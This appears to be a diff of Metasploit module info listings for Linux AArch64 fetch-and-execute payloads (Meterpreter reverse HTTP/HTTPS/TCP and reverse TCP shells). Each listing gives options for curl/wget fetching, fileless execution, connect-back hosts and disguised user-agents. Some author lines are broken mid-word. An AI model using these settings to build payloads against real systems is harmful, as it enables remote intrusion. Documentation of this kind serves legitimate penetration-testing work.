||||||
EXE::OldMethod false no Set to use the substitution EXE generation method.
|
|
||||||
EXE::Path no The directory in which to look for the executable template
|
|
||||||
EXE::Template no The executable template file name.
|
|
||||||
EnableStageEncoding false no Encode the second stage payload
|
|
||||||
EnableUnicodeEncoding false yes Automatically encode UTF-8 strings as hexadecimal
|
|
||||||
FetchHandlerDisable false yes Disable fetch handler
|
|
||||||
FetchHttpServerName Apache yes Fetch HTTP server name
|
|
||||||
FetchListenerBindAddress no The specific IP address to bind to to serve the payload if different from FETCH_SRVHOST
|
|
||||||
FetchListenerBindPort no The port to bind to if different from FETCH_SRVPORT
|
|
||||||
HandlerSSLCert no Path to a SSL certificate in unified PEM format, ignored for HTTP transports
|
|
||||||
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
|
|
||||||
MSI::Custom no Use custom msi instead of automatically generating a payload msi
|
|
||||||
MSI::EICAR false no Generate an EICAR file instead of regular payload msi
|
|
||||||
MSI::Path no The directory in which to look for the msi template
|
|
||||||
MSI::Template no The msi template file name
|
|
||||||
MSI::UAC false no Create an MSI with a UAC prompt (elevation to SYSTEM if accepted)
|
|
||||||
MeterpreterDebugBuild false no Use a debug version of Meterpreter
|
|
||||||
MeterpreterDebugLogging no The Meterpreter debug logging configuration, see https://docs.metasploit.com/docs/using-metasploit/advanced/meterpreter/meterpreter-debugging-meterpreter-sessions.html
|
|
||||||
MeterpreterTryToFork false no Fork a new process if the functionality is available
|
|
||||||
PayloadProcessCommandLine no The displayed command line that will be used by the payload
|
|
||||||
PayloadUUIDName no A human-friendly name to reference this unique payload (requires tracking)
|
|
||||||
PayloadUUIDRaw no A hex string representing the raw 8-byte PUID value for the UUID
|
|
||||||
PayloadUUIDSeed no A string to use when generating the payload UUID (deterministic)
|
|
||||||
PayloadUUIDTracking false yes Whether or not to automatically register generated UUIDs
|
|
||||||
PingbackRetries 0 yes How many additional successful pingbacks
|
|
||||||
PingbackSleep 30 yes Time (in seconds) to sleep between pingbacks
|
|
||||||
PrependSetresuid false no Prepend a stub that executes the setresuid(0, 0, 0) system call
|
|
||||||
PrependSetreuid false no Prepend a stub that executes the setreuid(0, 0) system call
|
|
||||||
PrependSetuid false no Prepend a stub that executes the setuid(0) system call
|
|
||||||
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
|
|
||||||
ReverseListenerBindAddress no The specific IP address to bind to on the local system
|
|
||||||
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
|
|
||||||
ReverseListenerComm no The specific communication channel to use for this listener
|
|
||||||
ReverseListenerThreaded false yes Handle every connection in a new thread (experimental)
|
|
||||||
SessionCommunicationTimeout 300 no The number of seconds of no activity before this session should be killed
|
|
||||||
SessionExpirationTimeout 604800 no The number of seconds before this session should be forcibly shut down
|
|
||||||
SessionRetryTotal 3600 no Number of seconds try reconnecting for on network failure
|
|
||||||
SessionRetryWait 10 no Number of seconds to wait between reconnect attempts
|
|
||||||
StageEncoder no Encoder to use if EnableStageEncoding is set
|
|
||||||
StageEncoderSaveRegisters no Additional registers to preserve in the staged payload if EnableStageEncoding is set
|
|
||||||
StageEncodingFallback true no Fallback to no encoding if the selected StageEncoder is not compatible
|
|
||||||
StagerRetryCount 10 no The number of times the stager should retry if the first connect fails
|
|
||||||
StagerRetryWait 5 no Number of seconds to wait for the stager between reconnect attempts
|
|
||||||
VERBOSE false no Enable detailed status messages
|
|
||||||
WORKSPACE no Specify the workspace for this module
|
|
||||||
|
|
||||||
@@ -1,104 +0,0 @@
|
|||||||
|
|
||||||
Name: HTTP Fetch
|
|
||||||
Module: payload/cmd/linux/http/aarch64/meterpreter_reverse_http
|
|
||||||
Platform: Linux
|
|
||||||
Arch: cmd
|
|
||||||
Needs Admin: No
|
|
||||||
Total size: 111
|
|
||||||
Rank: Normal
|
|
||||||
|
|
||||||
Provided by:
|
|
||||||
B
|
|
||||||
Evasion options for payload/cmd/linux/http/aarch64/meterpreter_reverse_http:
|
|
||||||
=========================
|
|
||||||
|
|
||||||
@rapid7.com>
|
|
||||||
timwr
|
|
||||||
|
|
||||||
Basic options:
|
|
||||||
Name Current Setting Required Description
|
|
||||||
---- --------------- -------- -----------
|
|
||||||
FETCH_COMMAND CURL yes Command to fetch payload (Accepted: CURL, FTP, TFTP, TNFTP, WGET)
|
|
||||||
FETCH_DELETE false yes Attempt to delete the binary after execution
|
|
||||||
FETCH_FILELESS none yes Attempt to run payload without touching disk by using anonymous handles, requires Linux ≥3.17 (for Python variant also Python ≥3.8 (Accepted: none, bash, python3.8+)
|
|
||||||
FETCH_SRVHOST no Local IP to use for serving payload
|
|
||||||
FETCH_SRVPORT 8080 yes Local port to use for serving payload
|
|
||||||
FETCH_URIPATH no Local URI to use for serving payload
|
|
||||||
LHOST yes The local listener hostname
|
|
||||||
LPORT 8080 yes The local listener port
|
|
||||||
LURI no The HTTP Path
|
|
||||||
|
|
||||||
|
|
||||||
When FETCH_COMMAND is one of CURL,WGET:
|
|
||||||
|
|
||||||
Name Current Setting Required Description
|
|
||||||
---- --------------- -------- -----------
|
|
||||||
FETCH_PIPE false yes Host both the binary payload and the command so it can be piped directly to the shell.
|
|
||||||
|
|
||||||
|
|
||||||
When FETCH_FILELESS is none:
|
|
||||||
|
|
||||||
Name Current Setting Required Description
|
|
||||||
---- --------------- -------- -----------
|
|
||||||
FETCH_FILENAME QJpbzCbQetk no Name to use on remote system when storing payload; cannot contain spaces or slashes
|
|
||||||
FETCH_WRITABLE_DIR ./ yes Remote writable dir to store payload; cannot contain spaces
|
|
||||||
|
|
||||||
Description:
|
|
||||||
Fetch and execute an AARCH64 payload from an HTTP server.
|
|
||||||
|
|
||||||
|
|
||||||
Name Current Setting Required Description
|
|
||||||
---- --------------- -------- -----------
|
|
||||||
AutoLoadStdapi true yes Automatically load the Stdapi extension
|
|
||||||
AutoRunScript no A script to run automatically on session creation.
|
|
||||||
AutoSystemInfo true yes Automatically capture system information on initialization.
|
|
||||||
AutoUnhookProcess false yes Automatically load the unhook extension and unhook the process
|
|
||||||
AutoVerifySessionTimeout 30 no Timeout period to wait for session validation to occur, in seconds
|
|
||||||
EXE::Custom no Use custom exe instead of automatically generating a payload exe
|
|
||||||
EXE::EICAR false no Generate an EICAR file instead of regular payload exe
|
|
||||||
EXE::FallBack false no Use the default template in case the specified one is missing
|
|
||||||
EXE::Inject false no Set to preserve the original EXE function
|
|
||||||
EXE::OldMethod false no Set to use the substitution EXE generation method.
|
|
||||||
EXE::Path no The directory in which to look for the executable template
|
|
||||||
EXE::Template no The executable template file name.
|
|
||||||
EnableUnicodeEncoding false yes Automatically encode UTF-8 strings as hexadecimal
|
|
||||||
FetchHandlerDisable false yes Disable fetch handler
|
|
||||||
FetchHttpServerName Apache yes Fetch HTTP server name
|
|
||||||
FetchListenerBindAddress no The specific IP address to bind to to serve the payload if different from FETCH_SRVHOST
|
|
||||||
FetchListenerBindPort no The port to bind to if different from FETCH_SRVPORT
|
|
||||||
HandlerSSLCert no Path to a SSL certificate in unified PEM format, ignored for HTTP transports
|
|
||||||
HttpServerName Apache no The server header that the handler will send in response to requests
|
|
||||||
HttpUnknownRequestResponse <html><body><h1>It works!</h1></body></html> no The returned HTML response body when the handler receives a request that is not from a payload
|
|
||||||
HttpUserAgent Mozilla/5.0 (Macintosh; Intel Mac OS X 14_7_2) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.4.1 Safari/605.1.15 no The user-agent that the payload should use for communication Max parameter length: 255 characters
|
|
||||||
IgnoreUnknownPayloads false no Whether to drop connections from payloads using unknown UUIDs
|
|
||||||
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
|
|
||||||
MSI::Custom no Use custom msi instead of automatically generating a payload msi
|
|
||||||
MSI::EICAR false no Generate an EICAR file instead of regular payload msi
|
|
||||||
MSI::Path no The directory in which to look for the msi template
|
|
||||||
MSI::Template no The msi template file name
|
|
||||||
MSI::UAC false no Create an MSI with a UAC prompt (elevation to SYSTEM if accepted)
|
|
||||||
MeterpreterDebugBuild false no Use a debug version of Meterpreter
|
|
||||||
MeterpreterDebugLogging no The Meterpreter debug logging configuration, see https://docs.metasploit.com/docs/using-metasploit/advanced/meterpreter/meterpreter-debugging-meterpreter-sessions.html
|
|
||||||
MeterpreterTryToFork false no Fork a new process if the functionality is available
|
|
||||||
OverrideLHOST no When OverrideRequestHost is set, use this value as the host name for secondary requests
|
|
||||||
OverrideLPORT no When OverrideRequestHost is set, use this value as the port number for secondary requests
|
|
||||||
OverrideRequestHost false no Forces a specific host and port instead of using what the client requests, defaults to LHOST:LPORT
|
|
||||||
OverrideScheme no When OverrideRequestHost is set, use this value as the scheme for secondary requests, e.g http or https
|
|
||||||
PayloadProcessCommandLine no The displayed command line that will be used by the payload
|
|
||||||
PayloadUUIDName no A human-friendly name to reference this unique payload (requires tracking)
|
|
||||||
PayloadUUIDRaw no A hex string representing the raw 8-byte PUID value for the UUID
|
|
||||||
PayloadUUIDSeed no A string to use when generating the payload UUID (deterministic)
|
|
||||||
PayloadUUIDTracking false yes Whether or not to automatically register generated UUIDs
|
|
||||||
PingbackRetries 0 yes How many additional successful pingbacks
|
|
||||||
PingbackSleep 30 yes Time (in seconds) to sleep between pingbacks
|
|
||||||
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
|
|
||||||
ReverseListenerBindAddress no The specific IP address to bind to on the local system
|
|
||||||
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
|
|
||||||
ReverseListenerComm no The specific communication channel to use for this listener
|
|
||||||
SessionCommunicationTimeout 300 no The number of seconds of no activity before this session should be killed
|
|
||||||
SessionExpirationTimeout 604800 no The number of seconds before this session should be forcibly shut down
|
|
||||||
SessionRetryTotal 3600 no Number of seconds try reconnecting for on network failure
|
|
||||||
SessionRetryWait 10 no Number of seconds to wait between reconnect attempts
|
|
||||||
VERBOSE false no Enable detailed status messages
|
|
||||||
WORKSPACE no Specify the workspace for this module
|
|
||||||
|
|
||||||
@@ -1,106 +0,0 @@
|
|||||||
|
|
||||||
Name: HTTP Fetch
|
|
||||||
Module: payload/cmd/linux/http/aarch64/meterpreter_reverse_https
|
|
||||||
Platform: Linux
|
|
||||||
Arch: cmd
|
|
||||||
Needs Admin: No
|
|
||||||
Total size: 105
|
|
||||||
Rank: Normal
|
|
||||||
|
|
||||||
Provided by:
|
|
||||||
Br
|
|
||||||
Evasion options for payload/cmd/linux/http/aarch64/meterpreter_reverse_https:
|
|
||||||
=========================
|
|
||||||
|
|
||||||
apid7.com>
|
|
||||||
timwr
|
|
||||||
|
|
||||||
Basic options:
|
|
||||||
Name Current Setting Required Description
|
|
||||||
---- --------------- -------- -----------
|
|
||||||
FETCH_COMMAND CURL yes Command to fetch payload (Accepted: CURL, FTP, TFTP, TNFTP, WGET)
|
|
||||||
FETCH_DELETE false yes Attempt to delete the binary after execution
|
|
||||||
FETCH_FILELESS none yes Attempt to run payload without touching disk by using anonymous handles, requires Linux ≥3.17 (for Python variant also Python ≥3.8 (Accepted: none, bash, python3.8+)
|
|
||||||
FETCH_SRVHOST no Local IP to use for serving payload
|
|
||||||
FETCH_SRVPORT 8080 yes Local port to use for serving payload
|
|
||||||
FETCH_URIPATH no Local URI to use for serving payload
|
|
||||||
LHOST yes The local listener hostname
|
|
||||||
LPORT 8443 yes The local listener port
|
|
||||||
LURI no The HTTP Path
|
|
||||||
|
|
||||||
|
|
||||||
When FETCH_COMMAND is one of CURL,WGET:
|
|
||||||
|
|
||||||
Name Current Setting Required Description
|
|
||||||
---- --------------- -------- -----------
|
|
||||||
FETCH_PIPE false yes Host both the binary payload and the command so it can be piped directly to the shell.
|
|
||||||
|
|
||||||
|
|
||||||
When FETCH_FILELESS is none:
|
|
||||||
|
|
||||||
Name Current Setting Required Description
|
|
||||||
---- --------------- -------- -----------
|
|
||||||
FETCH_FILENAME htteRZaNp no Name to use on remote system when storing payload; cannot contain spaces or slashes
|
|
||||||
FETCH_WRITABLE_DIR ./ yes Remote writable dir to store payload; cannot contain spaces
|
|
||||||
|
|
||||||
Description:
|
|
||||||
Fetch and execute an AARCH64 payload from an HTTP server.
|
|
||||||
|
|
||||||
|
|
||||||
Name Current Setting Required Description
|
|
||||||
---- --------------- -------- -----------
|
|
||||||
AutoLoadStdapi true yes Automatically load the Stdapi extension
|
|
||||||
AutoRunScript no A script to run automatically on session creation.
|
|
||||||
AutoSystemInfo true yes Automatically capture system information on initialization.
|
|
||||||
AutoUnhookProcess false yes Automatically load the unhook extension and unhook the process
|
|
||||||
AutoVerifySessionTimeout 30 no Timeout period to wait for session validation to occur, in seconds
|
|
||||||
EXE::Custom no Use custom exe instead of automatically generating a payload exe
|
|
||||||
EXE::EICAR false no Generate an EICAR file instead of regular payload exe
|
|
||||||
EXE::FallBack false no Use the default template in case the specified one is missing
|
|
||||||
EXE::Inject false no Set to preserve the original EXE function
|
|
||||||
EXE::OldMethod false no Set to use the substitution EXE generation method.
|
|
||||||
EXE::Path no The directory in which to look for the executable template
|
|
||||||
EXE::Template no The executable template file name.
|
|
||||||
EnableUnicodeEncoding false yes Automatically encode UTF-8 strings as hexadecimal
|
|
||||||
FetchHandlerDisable false yes Disable fetch handler
|
|
||||||
FetchHttpServerName Apache yes Fetch HTTP server name
|
|
||||||
FetchListenerBindAddress no The specific IP address to bind to to serve the payload if different from FETCH_SRVHOST
|
|
||||||
FetchListenerBindPort no The port to bind to if different from FETCH_SRVPORT
|
|
||||||
HandlerSSLCert no Path to a SSL certificate in unified PEM format, ignored for HTTP transports
|
|
||||||
HttpServerName Apache no The server header that the handler will send in response to requests
|
|
||||||
HttpUnknownRequestResponse <html><body><h1>It works!</h1></body></html> no The returned HTML response body when the handler receives a request that is not from a payload
|
|
||||||
HttpUserAgent Mozilla/5.0 (Macintosh; Intel Mac OS X 14.7; rv:133.0) Gecko/20100101 Firefox/133.0 no The user-agent that the payload should use for communication Max parameter length: 255 characters
|
|
||||||
IgnoreUnknownPayloads false no Whether to drop connections from payloads using unknown UUIDs
|
|
||||||
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
|
|
||||||
MSI::Custom no Use custom msi instead of automatically generating a payload msi
|
|
||||||
MSI::EICAR false no Generate an EICAR file instead of regular payload msi
|
|
||||||
MSI::Path no The directory in which to look for the msi template
|
|
||||||
MSI::Template no The msi template file name
|
|
||||||
MSI::UAC false no Create an MSI with a UAC prompt (elevation to SYSTEM if accepted)
|
|
||||||
MeterpreterDebugBuild false no Use a debug version of Meterpreter
|
|
||||||
MeterpreterDebugLogging no The Meterpreter debug logging configuration, see https://docs.metasploit.com/docs/using-metasploit/advanced/meterpreter/meterpreter-debugging-meterpreter-sessions.html
|
|
||||||
MeterpreterTryToFork false no Fork a new process if the functionality is available
|
|
||||||
OverrideLHOST no When OverrideRequestHost is set, use this value as the host name for secondary requests
|
|
||||||
OverrideLPORT no When OverrideRequestHost is set, use this value as the port number for secondary requests
|
|
||||||
OverrideRequestHost false no Forces a specific host and port instead of using what the client requests, defaults to LHOST:LPORT
|
|
||||||
OverrideScheme no When OverrideRequestHost is set, use this value as the scheme for secondary requests, e.g http or https
|
|
||||||
PayloadProcessCommandLine no The displayed command line that will be used by the payload
|
|
||||||
PayloadUUIDName no A human-friendly name to reference this unique payload (requires tracking)
|
|
||||||
PayloadUUIDRaw no A hex string representing the raw 8-byte PUID value for the UUID
|
|
||||||
PayloadUUIDSeed no A string to use when generating the payload UUID (deterministic)
|
|
||||||
PayloadUUIDTracking false yes Whether or not to automatically register generated UUIDs
|
|
||||||
PingbackRetries 0 yes How many additional successful pingbacks
|
|
||||||
PingbackSleep 30 yes Time (in seconds) to sleep between pingbacks
|
|
||||||
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
|
|
||||||
ReverseListenerBindAddress no The specific IP address to bind to on the local system
|
|
||||||
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
|
|
||||||
ReverseListenerComm no The specific communication channel to use for this listener
|
|
||||||
SSLVersion Auto yes Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
|
|
||||||
SessionCommunicationTimeout 300 no The number of seconds of no activity before this session should be killed
|
|
||||||
SessionExpirationTimeout 604800 no The number of seconds before this session should be forcibly shut down
|
|
||||||
SessionRetryTotal 3600 no Number of seconds try reconnecting for on network failure
|
|
||||||
SessionRetryWait 10 no Number of seconds to wait between reconnect attempts
|
|
||||||
StagerVerifySSLCert false no Whether to verify the SSL certificate in Meterpreter
|
|
||||||
VERBOSE false no Enable detailed status messages
|
|
||||||
WORKSPACE no Specify the workspace for this module
|
|
||||||
|
|
||||||
@@ -1,97 +0,0 @@
|
|||||||
|
|
||||||
Name: HTTP Fetch
|
|
||||||
Module: payload/cmd/linux/http/aarch64/meterpreter_reverse_tcp
|
|
||||||
Platform: Linux
|
|
||||||
Arch: cmd
|
|
||||||
Needs Admin: No
|
|
||||||
Total size: 114
|
|
||||||
Rank: Normal
|
|
||||||
|
|
||||||
Provided by:
|
|
||||||
Brendan Watters
|
|
||||||
Spencer McIntyre
|
|
||||||
Adam Cammack <adam_cammack@rapid7.com>
|
|
||||||
Brent Cook <brent_cook@rapid7.com>
|
|
||||||
timwr
|
|
||||||
|
|
||||||
Basic options:
|
|
||||||
Name Current Setting Required Description
|
|
||||||
---- --------------- -------- -----------
|
|
||||||
FETCH_COMMAND CURL yes Command to fetch payload (Accepted: CURL, FTP, TFTP, TNFTP, WGET)
|
|
||||||
FETCH_DELETE false yes Attempt to delete the binary after execution
|
|
||||||
FETCH_FILELESS none yes Attempt to run payload without touching disk by using anonymous handles, requires Linux ≥3.17 (for Python variant also Python ≥3.8 (Accepted: none, bash, python3.8+)
|
|
||||||
FETCH_SRVHOST no Local IP to use for serving payload
|
|
||||||
FETCH_SRVPORT 8080 yes Local port to use for serving payload
|
|
||||||
FETCH_URIPATH no Local URI to use for serving payload
|
|
||||||
LHOST yes The listen address (an interface may be specified)
|
|
||||||
LPORT 4444 yes The listen port
|
|
||||||
|
|
||||||
|
|
||||||
When FETCH_COMMAND is one of CURL,WGET:
|
|
||||||
|
|
||||||
Name Current Setting Required Description
|
|
||||||
---- --------------- -------- -----------
|
|
||||||
FETCH_PIPE false yes Host both the binary payload and the command so it can be piped directly to the shell.
|
|
||||||
|
|
||||||
|
|
||||||
When FETCH_FILELESS is none:
|
|
||||||
|
|
||||||
Name Current Setting Required Description
|
|
||||||
---- --------------- -------- -----------
|
|
||||||
FETCH_FILENAME IHvjSdBvJzEf no Name to use on remote system when storing payload; cannot contain spaces or slashes
|
|
||||||
FETCH_WRITABLE_DIR ./ yes Remote writable dir to store payload; cannot contain spaces
|
|
||||||
|
|
||||||
Description:
|
|
||||||
Fetch and execute an AARCH64 payload from an HTTP server.
|
|
||||||
|
|
||||||
|
|
||||||
Name Current Setting Required Description
|
|
||||||
---- --------------- -------- -----------
|
|
||||||
AutoLoadStdapi true yes Automatically load the Stdapi extension
|
|
||||||
AutoRunScript no A script to run automatically on session creation.
|
|
||||||
AutoSystemInfo true yes Automatically capture system information on initialization.
|
|
||||||
AutoUnhookProcess false yes Automatically load the unhook extension and unhook the process
|
|
||||||
AutoVerifySessionTimeout 30 no Timeout period to wait for session validation to occur, in seconds
|
|
||||||
EXE::Custom no Use custom exe instead of automatically generating a payload exe
|
|
||||||
EXE::EICAR false no Generate an EICAR file instead of regular payload exe
|
|
||||||
EXE::FallBack false no Use the default template in case the specified one is missing
|
|
||||||
EXE::Inject false no Set to preserve the original EXE function
|
|
||||||
EXE::OldMethod false no Set to use the substitution EXE generation method.
|
|
||||||
EXE::Path no The directory in which to look for the executable template
|
|
||||||
EXE::Template no The executable template file name.
|
|
||||||
EnableUnicodeEncoding false yes Automatically encode UTF-8 strings as hexadecimal
|
|
||||||
FetchHandlerDisable false yes Disable fetch handler
|
|
||||||
FetchHttpServerName Apache yes Fetch HTTP server name
|
|
||||||
FetchListenerBindAddress no The specific IP address to bind to to serve the payload if different from FETCH_SRVHOST
|
|
||||||
FetchListenerBindPort no The port to bind to if different from FETCH_SRVPORT
|
|
||||||
HandlerSSLCert no Path to a SSL certificate in unified PEM format, ignored for HTTP transports
|
|
||||||
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
|
|
||||||
MSI::Custom no Use custom msi instead of automatically generating a payload msi
|
|
||||||
MSI::EICAR false no Generate an EICAR file instead of regular payload msi
|
|
||||||
MSI::Path no The directory in which to look for the msi template
|
|
||||||
MSI::Template no The msi template file name
|
|
||||||
MSI::UAC false no Create an MSI with a UAC prompt (elevation to SYSTEM if accepted)
|
|
||||||
MeterpreterDebugBuild false no Use a debug version of Meterpreter
|
|
||||||
MeterpreterDebugLogging no The Meterpreter debug logging configuration, see https://docs.metasploit.com/docs/using-metasploit/advanced/meterpreter/meterpreter-debugging-meterpreter-sessions.html
|
|
||||||
MeterpreterTryToFork false no Fork a new process if the functionality is available
|
|
||||||
PayloadProcessCommandLine no The displayed command line that will be used by the payload
|
|
||||||
PayloadUUIDName no A human-friendly name to reference this unique payload (requires tracking)
|
|
||||||
PayloadUUIDRaw no A hex string representing the raw 8-byte PUID value for the UUID
|
|
||||||
PayloadUUIDSeed no A string to use when generating the payload UUID (deterministic)
|
|
||||||
PayloadUUIDTracking false yes Whether or not to automatically register generated UUIDs
|
|
||||||
PingbackRetries 0 yes How many additional successful pingbacks
|
|
||||||
PingbackSleep 30 yes Time (in seconds) to sleep between pingbacks
|
|
||||||
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
|
|
||||||
ReverseListenerBindAddress no The specific IP address to bind to on the local system
|
|
||||||
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
|
|
||||||
ReverseListenerComm no The specific communication channel to use for this listener
|
|
||||||
ReverseListenerThreaded false yes Handle every connection in a new thread (experimental)
|
|
||||||
SessionCommunicationTimeout 300 no The number of seconds of no activity before this session should be killed
|
|
||||||
SessionExpirationTimeout 604800 no The number of seconds before this session should be forcibly shut down
|
|
||||||
SessionRetryTotal 3600 no Number of seconds try reconnecting for on network failure
|
|
||||||
SessionRetryWait 10 no Number of seconds to wait between reconnect attempts
|
|
||||||
StagerRetryCount 10 no The number of times the stager should retry if the first connect fails
|
|
||||||
StagerRetryWait 5 no Number of seconds to wait for the stager between reconnect attempts
|
|
||||||
VERBOSE false no Enable detailed status messages
|
|
||||||
WORKSPACE no Specify the workspace for this module
|
|
||||||
|
|
||||||
@@ -1,93 +0,0 @@
|
|||||||
|
|
||||||
Name: HTTP Fetch, Linux dup2 Command Shell, Reverse TCP Stager
|
|
||||||
Module: payload/cmd/linux/http/aarch64/shell/reverse_tcp
|
|
||||||
Platform: Linux
|
|
||||||
Arch: cmd
|
|
||||||
Needs Admin: No
|
|
||||||
Total size: 114
|
|
||||||
Rank: Normal
|
|
||||||
|
|
||||||
Provided by:
|
|
||||||
Brendan Watters
|
|
||||||
Spencer McIntyre
|
|
||||||
|
|
||||||
Basic options:
|
|
||||||
Name Current Setting Required Description
|
|
||||||
---- --------------- -------- -----------
|
|
||||||
FETCH_COMMAND CURL yes Command to fetch payload (Accepted: CURL, FTP, TFTP, TNFTP, WGET)
|
|
||||||
FETCH_DELETE false yes Attempt to delete the binary after execution
|
|
||||||
FETCH_FILELESS none yes Attempt to run payload without touching disk by using anonymous handles, requires Linux ≥3.17 (for Python variant also Python ≥3.8 (Accepted: none, bash, python3.8+)
|
|
||||||
FETCH_SRVHOST no Local IP to use for serving payload
|
|
||||||
FETCH_SRVPORT 8080 yes Local port to use for serving payload
|
|
||||||
FETCH_URIPATH no Local URI to use for serving payload
|
|
||||||
LHOST yes The listen address (an interface may be specified)
|
|
||||||
LPORT 4444 yes The listen port
|
|
||||||
SHELL /bin/sh yes The shell to execute.
|
|
||||||
|
|
||||||
|
|
||||||
When FETCH_COMMAND is one of CURL,WGET:
|
|
||||||
|
|
||||||
Name Current Setting Required Description
|
|
||||||
---- --------------- -------- -----------
|
|
||||||
FETCH_PIPE false yes Host both the binary payload and the command so it can be piped directly to the shell.
|
|
||||||
|
|
||||||
|
|
||||||
When FETCH_FILELESS is none:
|
|
||||||
|
|
||||||
Name Current Setting Required Description
|
|
||||||
---- --------------- -------- -----------
|
|
||||||
FETCH_FILENAME CbrLJLwKRPdb no Name to use on remote system when storing payload; cannot contain spaces or slashes
|
|
||||||
FETCH_WRITABLE_DIR ./ yes Remote writable dir to store payload; cannot contain spaces
|
|
||||||
|
|
||||||
Description:
|
|
||||||
Fetch and execute an AARCH64 payload from an HTTP server.
|
|
||||||
dup2 socket in x12, then execve.
|
|
||||||
|
|
||||||
Connect back to the attacker
|
|
||||||
|
|
||||||
|
|
||||||
Name Current Setting Required Description
|
|
||||||
---- --------------- -------- -----------
|
|
||||||
AutoRunScript no A script to run automatically on session creation.
|
|
||||||
AutoVerifySession true yes Automatically verify and drop invalid sessions
|
|
||||||
CommandShellCleanupCommand no A command to run before the session is closed
|
|
||||||
EXE::Custom no Use custom exe instead of automatically generating a payload exe
|
|
||||||
EXE::EICAR false no Generate an EICAR file instead of regular payload exe
|
|
||||||
EXE::FallBack false no Use the default template in case the specified one is missing
|
|
||||||
EXE::Inject false no Set to preserve the original EXE function
|
|
||||||
EXE::OldMethod false no Set to use the substitution EXE generation method.
|
|
||||||
EXE::Path no The directory in which to look for the executable template
|
|
||||||
EXE::Template no The executable template file name.
|
|
||||||
EnableStageEncoding false no Encode the second stage payload
|
|
||||||
FetchHandlerDisable false yes Disable fetch handler
|
|
||||||
FetchHttpServerName Apache yes Fetch HTTP server name
|
|
||||||
FetchListenerBindAddress no The specific IP address to bind to to serve the payload if different from FETCH_SRVHOST
|
|
||||||
FetchListenerBindPort no The port to bind to if different from FETCH_SRVPORT
|
|
||||||
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
|
|
||||||
MSI::Custom no Use custom msi instead of automatically generating a payload msi
|
|
||||||
MSI::EICAR false no Generate an EICAR file instead of regular payload msi
|
|
||||||
MSI::Path no The directory in which to look for the msi template
|
|
||||||
MSI::Template no The msi template file name
|
|
||||||
MSI::UAC false no Create an MSI with a UAC prompt (elevation to SYSTEM if accepted)
|
|
||||||
PayloadUUIDName no A human-friendly name to reference this unique payload (requires tracking)
|
|
||||||
PayloadUUIDRaw no A hex string representing the raw 8-byte PUID value for the UUID
|
|
||||||
PayloadUUIDSeed no A string to use when generating the payload UUID (deterministic)
|
|
||||||
PayloadUUIDTracking false yes Whether or not to automatically register generated UUIDs
|
|
||||||
PingbackRetries 0 yes How many additional successful pingbacks
|
|
||||||
PingbackSleep 30 yes Time (in seconds) to sleep between pingbacks
|
|
||||||
PrependSetresuid false no Prepend a stub that executes the setresuid(0, 0, 0) system call
|
|
||||||
PrependSetreuid false no Prepend a stub that executes the setreuid(0, 0) system call
|
|
||||||
PrependSetuid false no Prepend a stub that executes the setuid(0) system call
|
|
||||||
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
|
|
||||||
ReverseListenerBindAddress no The specific IP address to bind to on the local system
|
|
||||||
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
|
|
||||||
ReverseListenerComm no The specific communication channel to use for this listener
|
|
||||||
ReverseListenerThreaded false yes Handle every connection in a new thread (experimental)
|
|
||||||
StageEncoder no Encoder to use if EnableStageEncoding is set
|
|
||||||
StageEncoderSaveRegisters no Additional registers to preserve in the staged payload if EnableStageEncoding is set
|
|
||||||
StageEncodingFallback true no Fallback to no encoding if the selected StageEncoder is not compatible
|
|
||||||
StagerRetryCount 10 no The number of times the stager should retry if the first connect fails
|
|
||||||
StagerRetryWait 5 no Number of seconds to wait for the stager between reconnect attempts
|
|
||||||
VERBOSE false no Enable detailed status messages
|
|
||||||
WORKSPACE no Specify the workspace for this module
|
|
||||||
|
|
||||||
@@ -1,81 +0,0 @@
|
|||||||
|
|
||||||
Name: HTTP Fetch, Linux Command Shell, Reverse TCP Inline
|
|
||||||
Module: payload/cmd/linux/http/aarch64/shell_reverse_tcp
|
|
||||||
Platform: Linux
|
|
||||||
Arch: cmd
|
|
||||||
Needs Admin: No
|
|
||||||
Total size: 105
|
|
||||||
Rank: Normal
|
|
||||||
|
|
||||||
Provided by:
|
|
||||||
Brendan Watters
|
|
||||||
Spencer McIntyre
|
|
||||||
|
|
||||||
Basic options:
|
|
||||||
Name Current Setting Required Description
|
|
||||||
---- --------------- -------- -----------
|
|
||||||
FETCH_COMMAND CURL yes Command to fetch payload (Accepted: CURL, FTP, TFTP, TNFTP, WGET)
|
|
||||||
FETCH_DELETE false yes Attempt to delete the binary after execution
|
|
||||||
FETCH_FILELESS none yes Attempt to run payload without touching disk by using anonymous handles, requires Linux ≥3.17 (for Python variant also Python ≥3.8 (Accepted: none, bash, python3.8+)
|
|
||||||
FETCH_SRVHOST no Local IP to use for serving payload
|
|
||||||
FETCH_SRVPORT 8080 yes Local port to use for serving payload
|
|
||||||
FETCH_URIPATH no Local URI to use for serving payload
|
|
||||||
LHOST yes The listen address (an interface may be specified)
|
|
||||||
LPORT 4444 yes The listen port
|
|
||||||
SHELL /bin/sh yes The shell to execute.
|
|
||||||
|
|
||||||
|
|
||||||
When FETCH_COMMAND is one of CURL,WGET:
|
|
||||||
|
|
||||||
Name Current Setting Required Description
|
|
||||||
---- --------------- -------- -----------
|
|
||||||
FETCH_PIPE false yes Host both the binary payload and the command so it can be piped directly to the shell.
|
|
||||||
|
|
||||||
|
|
||||||
When FETCH_FILELESS is none:
|
|
||||||
|
